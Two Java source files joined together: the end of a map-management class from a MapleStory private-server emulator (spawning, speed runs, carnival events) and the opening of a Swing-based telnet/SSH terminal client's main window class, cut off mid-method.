if (force) { //cpq quick hack
final int numShouldSpawn = monsterSpawn.size() * ZZMSConfig.monsterSpawn - spawnedMonstersOnMap.get();
if (numShouldSpawn > 0) {
int spawned = 0;
for (Spawns spawnPoint : monsterSpawn) {
spawnPoint.spawnMonster(this);
spawned++;
if (spawned >= numShouldSpawn) {
break;
}
}
}
} else {
final int numShouldSpawn = (GameConstants.isForceRespawn(mapid) ? monsterSpawn.size() * ZZMSConfig.monsterSpawn : maxRegularSpawn * ZZMSConfig.monsterSpawn) - spawnedMonstersOnMap.get();
if (numShouldSpawn > 0) {
int spawned = 0;
final List<Spawns> randomSpawn = new ArrayList<>(monsterSpawn);
Collections.shuffle(randomSpawn);
for (Spawns spawnPoint : randomSpawn) {
if (!isSpawns && spawnPoint.getMobTime() > 0) {
continue;
}
if (spawnPoint.shouldSpawn(lastSpawnTime) || GameConstants.isForceRespawn(mapid) || (monsterSpawn.size() * ZZMSConfig.monsterSpawn < 10 && maxRegularSpawn * ZZMSConfig.monsterSpawn > monsterSpawn.size() * ZZMSConfig.monsterSpawn && partyBonusRate > 0)) {
spawnPoint.spawnMonster(this);
spawned++;
}
if (spawned >= numShouldSpawn) {
break;
}
}
}
}
}
private static interface DelayedPacketCreation {
void sendPackets(MapleClient c);
}
public String getSnowballPortal() {
int[] teamss = new int[2];
charactersLock.readLock().lock();
try {
for (MapleCharacter chr : characters) {
if (chr.getTruePosition().y > -80) {
teamss[0]++;
} else {
teamss[1]++;
}
}
} finally {
charactersLock.readLock().unlock();
}
if (teamss[0] > teamss[1]) {
return "st01";
} else {
return "st00";
}
}
public boolean isDisconnected(int id) {
return dced.contains(id);
}
public void addDisconnected(int id) {
dced.add(id);
}
public void resetDisconnected() {
dced.clear();
}
public void startSpeedRun() {
final MapleSquad squad = getSquadByMap();
if (squad != null) {
charactersLock.readLock().lock();
try {
for (MapleCharacter chr : characters) {
if (chr.getName().equals(squad.getLeaderName()) && !chr.isIntern()) {
startSpeedRun(chr.getName());
return;
}
}
} finally {
charactersLock.readLock().unlock();
}
}
}
public void startSpeedRun(String leader) {
speedRunStart = System.currentTimeMillis();
speedRunLeader = leader;
}
public void endSpeedRun() {
speedRunStart = 0;
speedRunLeader = "";
}
public void getRankAndAdd(String leader, String time, ExpeditionType type, long timz, Collection<String> squad) {
try {
long lastTime = SpeedRunner.getSpeedRunData(type) == null ? 0 : SpeedRunner.getSpeedRunData(type).right;
//if(timz > lastTime && lastTime > 0) {
//return;
//}
//Pair<String, Map<Integer, String>>
StringBuilder rett = new StringBuilder();
if (squad != null) {
for (String chr : squad) {
rett.append(chr);
rett.append(",");
}
}
String z = rett.toString();
if (squad != null) {
z = z.substring(0, z.length() - 1);
}
Connection con = DatabaseConnection.getConnection();
try (PreparedStatement ps = con.prepareStatement("INSERT INTO speedruns(`type`, `leader`, `timestring`, `time`, `members`) VALUES (?,?,?,?,?)")) {
ps.setString(1, type.name());
ps.setString(2, leader);
ps.setString(3, time);
ps.setLong(4, timz);
ps.setString(5, z);
ps.executeUpdate();
}
if (lastTime == 0) { //great, we just add it
SpeedRunner.addSpeedRunData(type, SpeedRunner.addSpeedRunData(new StringBuilder(SpeedRunner.getPreamble(type)), new HashMap<Integer, String>(), z, leader, 1, time), timz);
} else {
//i wish we had a way to get the rank
SpeedRunner.removeSpeedRunData(type);
SpeedRunner.loadSpeedRunData(type);
}
} catch (SQLException e) {
}
}
public long getSpeedRunStart() {
return speedRunStart;
}
public final void disconnectAll() {
for (MapleCharacter chr : getCharactersThreadsafe()) {
if (!chr.isGM()) {
chr.getClient().disconnect(true, false);
chr.getClient().getSession().close(true);
}
}
}
public List<MapleNPC> getAllNPCs() {
return getAllNPCsThreadsafe();
}
public List<MapleNPC> getAllNPCsThreadsafe() {
ArrayList<MapleNPC> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.NPC).values()) {
ret.add((MapleNPC) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.NPC).readLock().unlock();
}
return ret;
}
public final void resetNPCs() {
removeNpc(-1);
}
public final void resetPQ(int level) {
resetFully();
for (MapleMonster mons : getAllMonstersThreadsafe()) {
mons.changeLevel(level, true);
}
resetSpawnLevel(level);
}
public final void resetSpawnLevel(int level) {
for (Spawns spawn : monsterSpawn) {
if (spawn instanceof SpawnPoint) {
((SpawnPoint) spawn).setLevel(level);
}
}
}
public final void resetFully() {
resetFully(true);
}
public final void resetFully(final boolean respawn) {
killAllMonsters(false);
reloadReactors();
removeDrops();
resetNPCs();
resetSpawns();
resetDisconnected();
endSpeedRun();
cancelSquadSchedule(true);
resetPortals();
environment.clear();
if (respawn) {
respawn(true);
}
}
public final void cancelSquadSchedule(boolean interrupt) {
squadTimer = false;
checkStates = true;
if (squadSchedule != null) {
squadSchedule.cancel(interrupt);
squadSchedule = null;
}
}
public final void removeDrops() {
List<MapleMapItem> items = this.getAllItemsThreadsafe();
for (MapleMapItem i : items) {
i.expire(this);
}
}
public final void resetAllSpawnPoint(int mobid, int mobTime) {
Collection<Spawns> sss = new LinkedList<>(monsterSpawn);
resetFully();
monsterSpawn.clear();
for (Spawns s : sss) {
MapleMonster newMons = MapleLifeFactory.getMonster(mobid);
newMons.setF(s.getF());
newMons.setFh(s.getFh());
newMons.setPosition(s.getPosition());
addMonsterSpawn(newMons, mobTime, (byte) -1, null);
}
loadMonsterRate(true);
}
public final void resetSpawns() {
boolean changed = false;
Iterator<Spawns> sss = monsterSpawn.iterator();
while (sss.hasNext()) {
if (sss.next().getCarnivalId() > -1) {
sss.remove();
changed = true;
}
}
setSpawns(true);
if (changed) {
loadMonsterRate(true);
}
}
public final boolean makeCarnivalSpawn(final int team, final MapleMonster newMons, final int num) {
MonsterPoint ret = null;
for (MonsterPoint mp : nodes.getMonsterPoints()) {
if (mp.team == team || mp.team == -1) {
final Point newpos = calcPointBelow(new Point(mp.x, mp.y));
newpos.y -= 1;
boolean found = false;
for (Spawns s : monsterSpawn) {
if (s.getCarnivalId() > -1 && (mp.team == -1 || s.getCarnivalTeam() == mp.team) && s.getPosition().x == newpos.x && s.getPosition().y == newpos.y) {
found = true;
break; //this point has already been used.
}
}
if (!found) {
ret = mp; //this point is safe for use.
break;
}
}
}
if (ret != null) {
newMons.setCy(ret.cy);
newMons.setF(0); //always.
newMons.setFh(ret.fh);
newMons.setRx0(ret.x + 50);
newMons.setRx1(ret.x - 50); //does this matter
newMons.setPosition(new Point(ret.x, ret.y));
newMons.setHide(false);
final SpawnPoint sp = addMonsterSpawn(newMons, 1, (byte) team, null);
sp.setCarnival(num);
}
return ret != null;
}
public final boolean makeCarnivalReactor(final int team, final int num) {
final MapleReactor old = getReactorByName(team + "" + num);
if (old != null && old.getState() < 5) { //already exists
return false;
}
Point guardz = null;
final List<MapleReactor> react = getAllReactorsThreadsafe();
for (Pair<Point, Integer> guard : nodes.getGuardians()) {
if (guard.right == team || guard.right == -1) {
boolean found = false;
for (MapleReactor r : react) {
if (r.getTruePosition().x == guard.left.x && r.getTruePosition().y == guard.left.y && r.getState() < 5) {
found = true;
break; //already used
}
}
if (!found) {
guardz = guard.left; //this point is safe for use.
break;
}
}
}
if (guardz != null) {
final MapleReactor my = new MapleReactor(MapleReactorFactory.getReactor(9980000 + team), 9980000 + team);
my.setState((byte) 1);
my.setName(team + "" + num); //lol
//with num. -> guardians in factory
spawnReactorOnGroundBelow(my, guardz);
final MCSkill skil = MapleCarnivalFactory.getInstance().getGuardian(num);
for (MapleMonster mons : getAllMonstersThreadsafe()) {
if (mons.getCarnivalTeam() == team) {
skil.getSkill().applyEffect(null, mons, false);
}
}
}
return guardz != null;
}
public final void blockAllPortal() {
for (MaplePortal p : portals.values()) {
p.setPortalState(false);
}
}
public boolean getAndSwitchTeam() {
return getCharactersSize() % 2 != 0;
}
public void setSquad(MapleSquadType s) {
this.squad = s;
}
public int getChannel() {
return channel;
}
public int getConsumeItemCoolTime() {
return consumeItemCoolTime;
}
public void setConsumeItemCoolTime(int ciit) {
this.consumeItemCoolTime = ciit;
}
public void setPermanentWeather(int pw) {
this.permanentWeather = pw;
}
public int getPermanentWeather() {
return permanentWeather;
}
public void checkStates(final String chr) {
if (!checkStates) {
return;
}
final MapleSquad sqd = getSquadByMap();
final EventManager em = getEMByMap();
final int size = getCharactersSize();
if (sqd != null && sqd.getStatus() == 2) {
sqd.removeMember(chr);
if (em != null) {
if (sqd.getLeaderName().equalsIgnoreCase(chr)) {
em.setProperty("leader", "false");
}
if (chr.equals("") || size == 0) {
em.setProperty("state", "0");
em.setProperty("leader", "true");
cancelSquadSchedule(!chr.equals(""));
sqd.clear();
sqd.copy();
}
}
}
if (em != null && em.getProperty("state") != null && (sqd == null || sqd.getStatus() == 2) && size == 0) {
em.setProperty("state", "0");
if (em.getProperty("leader") != null) {
em.setProperty("leader", "true");
}
}
if (speedRunStart > 0 && size == 0) {
endSpeedRun();
}
}
public void setCheckStates(boolean b) {
this.checkStates = b;
}
public void setNodes(final MapleNodes mn) {
this.nodes = mn;
}
public final List<MaplePlatform> getPlatforms() {
return nodes.getPlatforms();
}
public Collection<MapleNodeInfo> getNodes() {
return nodes.getNodes();
}
public MapleNodeInfo getNode(final int index) {
return nodes.getNode(index);
}
public boolean isLastNode(final int index) {
return nodes.isLastNode(index);
}
public final List<Rectangle> getAreas() {
return nodes.getAreas();
}
public final Rectangle getArea(final int index) {
return nodes.getArea(index);
}
public final void changeEnvironment(final String ms, final int type) {
broadcastMessage(CField.environmentChange(ms, type));
}
public final void toggleEnvironment(final String ms) {
if (environment.containsKey(ms)) {
moveEnvironment(ms, environment.get(ms) == 1 ? 2 : 1);
} else {
moveEnvironment(ms, 1);
}
}
public final void moveEnvironment(final String ms, final int type) {
broadcastMessage(CField.environmentMove(ms, type));
environment.put(ms, type);
}
public final Map<String, Integer> getEnvironment() {
return environment;
}
public final int getNumPlayersInArea(final int index) {
return getNumPlayersInRect(getArea(index));
}
public final int getNumPlayersInRect(final Rectangle rect) {
int ret = 0;
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> ltr = characters.iterator();
MapleCharacter a;
while (ltr.hasNext()) {
if (rect.contains(ltr.next().getTruePosition())) {
ret++;
}
}
} finally {
charactersLock.readLock().unlock();
}
return ret;
}
public final int getNumPlayersItemsInArea(final int index) {
return getNumPlayersItemsInRect(getArea(index));
}
public final int getNumPlayersItemsInRect(final Rectangle rect) {
int ret = getNumPlayersInRect(rect);
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.ITEM).values()) {
if (rect.contains(mmo.getTruePosition())) {
ret++;
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().unlock();
}
return ret;
}
public void broadcastGMMessage(MapleCharacter source, byte[] packet, boolean repeatToSource) {
broadcastGMMessage(repeatToSource ? null : source, packet);
}
private void broadcastGMMessage(MapleCharacter source, byte[] packet) {
charactersLock.readLock().lock();
try {
if (source == null) {
for (MapleCharacter chr : characters) {
if (chr.isStaff()) {
chr.getClient().getSession().write(packet);
}
}
} else {
for (MapleCharacter chr : characters) {
if (chr != source && (chr.getGMLevel() > 0)) {
chr.getClient().getSession().write(packet);
}
}
}
} finally {
charactersLock.readLock().unlock();
}
}
public void broadcastNONGMMessage(MapleCharacter source, byte[] packet, boolean repeatToSource) {
broadcastNONGMMessage(repeatToSource ? null : source, packet);
}
private void broadcastNONGMMessage(MapleCharacter source, byte[] packet) {
charactersLock.readLock().lock();
try {
if (source == null) {
for (MapleCharacter chr : characters) {
if (!chr.isStaff()) {
chr.getClient().getSession().write(packet);
}
}
} else {
for (MapleCharacter chr : characters) {
if (chr != source && (chr.getGMLevel() < 1)) {
chr.getClient().getSession().write(packet);
}
}
}
} finally {
charactersLock.readLock().unlock();
}
}
public final List<Pair<Integer, Integer>> getMobsToSpawn() {
return nodes.getMobsToSpawn();
}
public final List<Integer> getSkillIds() {
return nodes.getSkillIds();
}
public final boolean canSpawn(long now) {
return lastSpawnTime > 0 && lastSpawnTime + createMobInterval < now;
}
public final boolean canHurt(long now) {
if (lastHurtTime > 0 && lastHurtTime + decHPInterval < now) {
lastHurtTime = now;
return true;
}
return false;
}
public final void resetShammos(final MapleClient c) {
killAllMonsters(true);
broadcastMessage(CWvsContext.broadcastMsg(5, "A player has moved too far from Shammos. Shammos is going back to the start."));
EtcTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
if (c.getPlayer() != null) {
c.getPlayer().changeMap(MapleMap.this, getPortal(0));
}
}
}, 500); //avoid dl
}
public int getInstanceId() {
return instanceid;
}
public void setInstanceId(int ii) {
this.instanceid = ii;
}
public int getPartyBonusRate() {
return partyBonusRate;
}
public void setPartyBonusRate(int ii) {
this.partyBonusRate = ii;
}
public short getTop() {
return top;
}
public short getBottom() {
return bottom;
}
public short getLeft() {
return left;
}
public short getRight() {
return right;
}
public void setTop(int ii) {
this.top = (short) ii;
}
public void setBottom(int ii) {
this.bottom = (short) ii;
}
public void setLeft(int ii) {
this.left = (short) ii;
}
public void setRight(int ii) {
this.right = (short) ii;
}
public final void setChangeableMobOrigin(MapleCharacter d) {
this.changeMobOrigin = new WeakReference<>(d);
}
public final MapleCharacter getChangeableMobOrigin() {
if (changeMobOrigin == null) {
return null;
}
return changeMobOrigin.get();
}
public List<Pair<Point, Integer>> getGuardians() {
return nodes.getGuardians();
}
public DirectionInfo getDirectionInfo(int i) {
return nodes.getDirection(i);
}
public final MapleMapObject getClosestMapObjectInRange(final Point from, final double rangeSq, final List<MapleMapObjectType> MapObject_types) {
MapleMapObject ret = null;
for (MapleMapObjectType type : MapObject_types) {
mapobjectlocks.get(type).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(type).values().iterator();
while (itr.hasNext()) {
MapleMapObject mmo = itr.next();
if (from.distanceSq(mmo.getTruePosition()) <= rangeSq && (ret == null || from.distanceSq(ret.getTruePosition()) > from.distanceSq(mmo.getTruePosition()))) {
ret = mmo;
}
}
} finally {
mapobjectlocks.get(type).readLock().unlock();
}
}
return ret;
}
public final void mapMessage(final int type, final String message) {
broadcastMessage(CWvsContext.broadcastMsg(type, message));
}
@Override
public String toString() {
return "'" + getStreetName() + " : " + getMapName() + "'(" + getId() + ")";
}
public boolean isBossMap() {
return GameConstants.isBossMap(mapid);
}
public boolean isMarketMap() {
return (this.mapid >= 910000000) && (this.mapid <= 910000017);
}
}
| stark24423/ZZMS_update189 | src/server/maps/MapleMap.java |
65,442 | package org.zhouer.zterm;
import java.awt.BorderLayout;
import java.awt.DefaultKeyboardFocusManager;
import java.awt.Font;
import java.awt.KeyEventDispatcher;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.ComponentEvent;
import java.awt.event.ComponentListener;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.net.MalformedURLException;
import java.util.Collections;
import java.util.Iterator;
import java.util.Vector;
import javax.swing.DefaultComboBoxModel;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JComboBox;
import javax.swing.JFrame;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPopupMenu;
import javax.swing.JTabbedPane;
import javax.swing.JToolBar;
import javax.swing.SwingUtilities;
import javax.swing.UIManager;
import javax.swing.event.ChangeEvent;
import javax.swing.event.ChangeListener;
import javax.swing.text.JTextComponent;
import org.zhouer.protocol.Protocol;
import org.zhouer.utils.Convertor;
import org.zhouer.vt.Config;
public class ZTerm extends JFrame implements ActionListener, ChangeListener, KeyEventDispatcher, KeyListener, ComponentListener
{
private static final long serialVersionUID = 6304594468121008572L;
// 標準選單
private JMenuBar menuBar;
private JMenu connectMenu, siteMenu, editMenu, optionMenu, helpMenu;
private JMenu encodingMenu;
private JMenuItem openItem, closeItem, reopenItem, quitItem;
private JMenuItem copyItem, pasteItem, colorCopyItem, colorPasteItem;
private JMenuItem preferenceItem, siteManagerItem, showToolbarItem;
private JMenuItem usageItem, faqItem, aboutItem;
private JMenuItem big5Item, utf8Item;
private JMenuItem[] favoriteItems;
// popup 選單
private JPopupMenu popupMenu;
private JMenu quickLinkMenu;
private JMenuItem popupCopyItem, popupPasteItem, popupColorCopyItem, popupColorPasteItem, popupCopyLinkItem;
private JMenuItem googleSearchItem, tinyurlItem, orzItem, badongoItem;
// 連線工具列
private JToolBar connectionToolbar;
private JButton openButton, closeButton, reopenButton;
private JButton copyButton, colorCopyButton, pasteButton, colorPasteButton;
private JButton telnetButton, sshButton;
private DefaultComboBoxModel siteModel;
private JComboBox siteField;
private JTextComponent siteText;
// 分頁
private JTabbedPane tabbedPane;
// 分頁 icon
private ImageIcon tryingIcon, connectedIcon, closedIcon, bellIcon;
private Vector sessions;
private Clip clip;
private BufferedImage bi;
private Resource resource;
private Convertor conv;
private String colorText = null;
// 是否顯示工具列
private boolean showToolbar;
// 按滑鼠右鍵時滑鼠下的連結
private String tmpLink;
// 目前是否有 dialog 開啟
private boolean isShowingDialog;
// 避免同時有數個 thread 修改資料用的 lock object
private Object msglock, menulock;
// 建立各種選單,包括 popup 選單也在這裡建立
private void makeMenu()
{
menuBar = new JMenuBar();
connectMenu = new JMenu(Messages.getString("ZTerm.Connect_Menu_Text")); //$NON-NLS-1$
connectMenu.setMnemonic(KeyEvent.VK_N);
connectMenu.setToolTipText(Messages.getString("ZTerm.Connect_Menu_ToolTip")); //$NON-NLS-1$
siteMenu = new JMenu(Messages.getString("ZTerm.Site_Menu_Text")); //$NON-NLS-1$
siteMenu.setMnemonic(KeyEvent.VK_F);
siteMenu.setToolTipText(Messages.getString("ZTerm.Site_Menu_ToolTip")); //$NON-NLS-1$
editMenu = new JMenu(Messages.getString("ZTerm.Edit_Menu_Text")); //$NON-NLS-1$
editMenu.setMnemonic(KeyEvent.VK_E);
editMenu.setToolTipText(Messages.getString("ZTerm.Edit_Menu_ToolTip")); //$NON-NLS-1$
optionMenu = new JMenu(Messages.getString("ZTerm.Option_Menu_Text")); //$NON-NLS-1$
optionMenu.setMnemonic(KeyEvent.VK_O);
optionMenu.setToolTipText(Messages.getString("ZTerm.Option_Menu_ToolTip")); //$NON-NLS-1$
helpMenu = new JMenu(Messages.getString("ZTerm.Help_Menu_Text")); //$NON-NLS-1$
helpMenu.setMnemonic(KeyEvent.VK_H);
helpMenu.setToolTipText(Messages.getString("ZTerm.Help_Menu_ToolTip")); //$NON-NLS-1$
encodingMenu = new JMenu(Messages.getString("ZTerm.Encoding_Menu_Text")); //$NON-NLS-1$
openItem = new JMenuItem(Messages.getString("ZTerm.Open_MenuItem_Text")); //$NON-NLS-1$
openItem.setToolTipText(Messages.getString("ZTerm.Open_MenuItem_ToolTip")); //$NON-NLS-1$
openItem.addActionListener( this );
closeItem = new JMenuItem(Messages.getString("ZTerm.Close_MenuItem_Text")); //$NON-NLS-1$
closeItem.setToolTipText(Messages.getString("ZTerm.Close_MenuItem_ToolTip")); //$NON-NLS-1$
closeItem.addActionListener( this );
reopenItem = new JMenuItem(Messages.getString("ZTerm.Reopen_Item_Text")); //$NON-NLS-1$
reopenItem.setToolTipText(Messages.getString("ZTerm.Reopen_Item_ToolTip")); //$NON-NLS-1$
reopenItem.addActionListener( this );
quitItem = new JMenuItem(Messages.getString("ZTerm.Quit_Item_Text")); //$NON-NLS-1$
quitItem.addActionListener( this );
copyItem = new JMenuItem(Messages.getString("ZTerm.Copy_MenuItem_Text")); //$NON-NLS-1$
copyItem.addActionListener( this );
copyItem.setToolTipText(Messages.getString("ZTerm.Copy_MenuItem_ToolTip")); //$NON-NLS-1$
pasteItem = new JMenuItem(Messages.getString("ZTerm.Paste_MenuItem_Text")); //$NON-NLS-1$
pasteItem.addActionListener( this );
pasteItem.setToolTipText(Messages.getString("ZTerm.Paste_MenuItem_ToolTip")); //$NON-NLS-1$
colorCopyItem = new JMenuItem(Messages.getString("ZTerm.ColorCopy_MenuItem_Text")); //$NON-NLS-1$
colorCopyItem.addActionListener( this );
colorPasteItem = new JMenuItem(Messages.getString("ZTerm.ColorPaste_MenuItem_Text")); //$NON-NLS-1$
colorPasteItem.addActionListener( this );
preferenceItem = new JMenuItem(Messages.getString("ZTerm.Preference_MenuItem_Text")); //$NON-NLS-1$
preferenceItem.addActionListener( this );
preferenceItem.setToolTipText(Messages.getString("ZTerm.Preference_MenuItem_ToolTip")); //$NON-NLS-1$
siteManagerItem = new JMenuItem(Messages.getString("ZTerm.SiteManager_MenuItem_Text")); //$NON-NLS-1$
siteManagerItem.addActionListener( this );
siteManagerItem.setToolTipText(Messages.getString("ZTerm.SiteManager_MenuItem_ToolTip")); //$NON-NLS-1$
showToolbarItem = new JMenuItem( showToolbar ? Messages.getString("ZTerm.ToggleToolbar_MenuItem_Show_Text") : Messages.getString("ZTerm.ToggleToolbar_MenuItem_Hide_Text")); //$NON-NLS-1$ //$NON-NLS-2$
showToolbarItem.addActionListener( this );
usageItem = new JMenuItem(Messages.getString("ZTerm.Usage_MenuItem_Text")); //$NON-NLS-1$
usageItem.addActionListener( this );
faqItem = new JMenuItem(Messages.getString("ZTerm.FAQ_MenuItem_Text")); //$NON-NLS-1$
faqItem.addActionListener( this );
aboutItem = new JMenuItem(Messages.getString("ZTerm.About_MenuItem_Text")); //$NON-NLS-1$
aboutItem.addActionListener( this );
big5Item = new JMenuItem(Messages.getString("ZTerm.Big5_MenuItem_Text")); //$NON-NLS-1$
big5Item.addActionListener( this );
utf8Item = new JMenuItem(Messages.getString("ZTerm.UTF8_MenuItem_Text")); //$NON-NLS-1$
utf8Item.addActionListener( this );
menuBar.add( connectMenu );
menuBar.add( siteMenu );
menuBar.add( editMenu );
menuBar.add( optionMenu );
menuBar.add( helpMenu );
connectMenu.add( openItem );
connectMenu.add( closeItem );
connectMenu.add( reopenItem );
connectMenu.add( quitItem );
updateFavoriteMenu();
encodingMenu.add( big5Item );
encodingMenu.add( utf8Item );
editMenu.add( copyItem );
editMenu.add( pasteItem );
editMenu.add( colorCopyItem );
editMenu.add( colorPasteItem );
editMenu.addSeparator();
editMenu.add( encodingMenu );
optionMenu.add( preferenceItem );
optionMenu.add( siteManagerItem );
optionMenu.add( showToolbarItem );
helpMenu.add( usageItem );
helpMenu.add( faqItem );
helpMenu.add( aboutItem );
setJMenuBar( menuBar);
// popup menu
popupMenu = new JPopupMenu();
popupCopyItem = new JMenuItem( Messages.getString("ZTerm.Popup_Copy_MenuItem_Text") ); //$NON-NLS-1$
popupCopyItem.addActionListener( this );
popupPasteItem = new JMenuItem( Messages.getString("ZTerm.Popup_Paste_MenuItem_Text") ); //$NON-NLS-1$
popupPasteItem.addActionListener( this );
popupColorCopyItem = new JMenuItem( Messages.getString("ZTerm.Popup_ColorCopy_MenuItem_Text") ); //$NON-NLS-1$
popupColorCopyItem.addActionListener( this );
popupColorPasteItem = new JMenuItem( Messages.getString("ZTerm.Popup_ColorPaste_MenuItem_Text") ); //$NON-NLS-1$
popupColorPasteItem.addActionListener( this );
popupCopyLinkItem = new JMenuItem( Messages.getString("ZTerm.Popup_CopyLink_MenuItem_Text") ); //$NON-NLS-1$
popupCopyLinkItem.addActionListener( this );
googleSearchItem = new JMenuItem( Messages.getString("ZTerm.Popup_GoogleSearch_MenuItem_Text") );
googleSearchItem.addActionListener( this );
quickLinkMenu = new JMenu( Messages.getString("ZTerm.Popup_QuickLink_Menu_Text") );
tinyurlItem = new JMenuItem( Messages.getString("ZTerm.Popup_Tinyurl_MenuItem_Text") );
tinyurlItem.addActionListener( this );
orzItem = new JMenuItem( Messages.getString("ZTerm.Popup_Orz_MenuItem_Text") );
orzItem.addActionListener( this );
badongoItem = new JMenuItem( Messages.getString("ZTerm.Popup_Badongo_MenuItem_Text") );
badongoItem.addActionListener( this );
quickLinkMenu.add( tinyurlItem );
quickLinkMenu.add( orzItem );
quickLinkMenu.add( badongoItem );
popupMenu.add( popupCopyItem );
popupMenu.add( popupPasteItem );
popupMenu.add( popupColorCopyItem );
popupMenu.add( popupColorPasteItem );
popupMenu.addSeparator();
popupMenu.add( popupCopyLinkItem );
popupMenu.add( googleSearchItem );
popupMenu.add( quickLinkMenu );
}
private void makeTabbedPane()
{
// tab 擺在上面,太多 tab 時使用捲頁的顯示方式
tabbedPane = new JTabbedPane( JTabbedPane.TOP, JTabbedPane.SCROLL_TAB_LAYOUT );
tabbedPane.addChangeListener( this );
getContentPane().add( tabbedPane );
}
private void makeToolbar()
{
connectionToolbar = new JToolBar();
connectionToolbar.setVisible( showToolbar );
connectionToolbar.setRollover( true );
closeButton = new JButton( Messages.getString("ZTerm.Close_Button_Text") ); //$NON-NLS-1$
closeButton.setToolTipText( Messages.getString("ZTerm.Close_Button_ToolTip") ); //$NON-NLS-1$
closeButton.setFocusable( false );
closeButton.addActionListener( this );
reopenButton = new JButton( Messages.getString("ZTerm.Reopen_Button_Text") ); //$NON-NLS-1$
reopenButton.setToolTipText( Messages.getString("ZTerm.Reopen_Button_ToolTip") ); //$NON-NLS-1$
reopenButton.setFocusable( false );
reopenButton.addActionListener( this );
copyButton = new JButton( Messages.getString("ZTerm.Copy_Button_Text") ); //$NON-NLS-1$
copyButton.setToolTipText( Messages.getString("ZTerm.Copy_Button_ToolTip") ); //$NON-NLS-1$
copyButton.setFocusable( false );
copyButton.addActionListener( this );
pasteButton = new JButton( Messages.getString("ZTerm.Paste_Button_Text") ); //$NON-NLS-1$
pasteButton.setToolTipText( Messages.getString("ZTerm.Paste_Button_ToolTip") ); //$NON-NLS-1$
pasteButton.setFocusable( false );
pasteButton.addActionListener( this );
colorCopyButton = new JButton( Messages.getString("ZTerm.ColorCopy_Button_Text") ); //$NON-NLS-1$
colorCopyButton.setFocusable( false );
colorCopyButton.addActionListener( this );
colorPasteButton = new JButton( Messages.getString("ZTerm.ColorPaste_Button_Text") ); //$NON-NLS-1$
colorPasteButton.setFocusable( false );
colorPasteButton.addActionListener( this );
telnetButton = new JButton(Messages.getString("ZTerm.Telnet_Button_Text")); //$NON-NLS-1$
telnetButton.setToolTipText(Messages.getString("ZTerm.Telnet_Button_ToolTip")); //$NON-NLS-1$
telnetButton.setFocusable( false );
telnetButton.addActionListener( this );
sshButton = new JButton(Messages.getString("ZTerm.SSH_Button_Text")); //$NON-NLS-1$
sshButton.setToolTipText(Messages.getString("ZTerm.SSH_Button_ToolTip")); //$NON-NLS-1$
sshButton.setFocusable( false );
sshButton.addActionListener( this );
siteModel = new DefaultComboBoxModel();
siteField = new JComboBox( siteModel );
siteField.setToolTipText(Messages.getString("ZTerm.Site_ComboBox_ToolTip")); //$NON-NLS-1$
siteField.setEditable( true );
siteText = (JTextComponent)siteField.getEditor().getEditorComponent();
siteText.addKeyListener( this );
openButton = new JButton( Messages.getString("ZTerm.Open_Button_Text") ); //$NON-NLS-1$
openButton.setFocusable( false );
openButton.addActionListener( this );
connectionToolbar.add(closeButton);
connectionToolbar.add(reopenButton);
connectionToolbar.add( new JToolBar.Separator() );
connectionToolbar.add(copyButton);
connectionToolbar.add(pasteButton);
connectionToolbar.add(colorCopyButton);
connectionToolbar.add(colorPasteButton);
connectionToolbar.add( new JToolBar.Separator() );
connectionToolbar.add(telnetButton);
connectionToolbar.add(sshButton);
connectionToolbar.add( new JToolBar.Separator() );
connectionToolbar.add( siteField );
connectionToolbar.add( new JToolBar.Separator() );
connectionToolbar.add( openButton );
getContentPane().add( connectionToolbar, BorderLayout.NORTH );
}
public void updateFavoriteMenu()
{
synchronized( menulock ) {
Site fa;
Vector f = resource.getFavorites();
favoriteItems = new JMenuItem[ f.size() ];
siteMenu.removeAll();
// 顯示目前我的最愛內容
for( int i = 0; i < f.size(); i++ ) {
fa = (Site)f.elementAt(i);
favoriteItems[i] = new JMenuItem( fa.name );
favoriteItems[i].setToolTipText( fa.host + ":" + fa.port ); //$NON-NLS-1$
favoriteItems[i].addActionListener( this );
siteMenu.add( favoriteItems[i] );
}
}
}
public void updateToolbar()
{
synchronized( menulock ) {
showToolbar = resource.getBooleanValue( Resource.SHOW_TOOLBAR );
showToolbarItem.setText( showToolbar ? Messages.getString("ZTerm.ToggleToolbar_MenuItem_Hide_Text"): Messages.getString("ZTerm.ToggleToolbar_MenuItem_Show_Text") ); //$NON-NLS-1$ //$NON-NLS-2$
connectionToolbar.setVisible( showToolbar );
validate();
}
}
public void updateBounds()
{
int locationx, locationy, width, height;
locationx = resource.getIntValue( Resource.GEOMETRY_X );
locationy = resource.getIntValue( Resource.GEOMETRY_Y );
width = resource.getIntValue( Resource.GEOMETRY_WIDTH );
height = resource.getIntValue( Resource.GEOMETRY_HEIGHT );
setBounds( locationx, locationy, width, height );
validate();
}
public void updateSize()
{
Session s;
// 產生跟主視窗一樣大的 image
bi = new BufferedImage( getWidth(), getHeight(), BufferedImage.TYPE_INT_RGB );
// 視窗大小調整時同步更新每個 session 的大小
for( int i = 0; i < sessions.size(); i++ ) {
s = (Session)sessions.elementAt( i );
s.validate();
s.updateImage( bi );
s.updateSize();
}
}
public void updateAntiIdleTime()
{
for( int i = 0; i < sessions.size(); i++ ) {
((Session)sessions.elementAt( i )).updateAntiIdleTime();
}
}
public void updateLookAndFeel()
{
try {
// 使用系統的 Look and Feel
if( resource.getBooleanValue( Resource.SYSTEM_LOOK_FEEL ) ) {
UIManager.setLookAndFeel( UIManager.getSystemLookAndFeelClassName() );
} else {
UIManager.setLookAndFeel( UIManager.getCrossPlatformLookAndFeelClassName() );
}
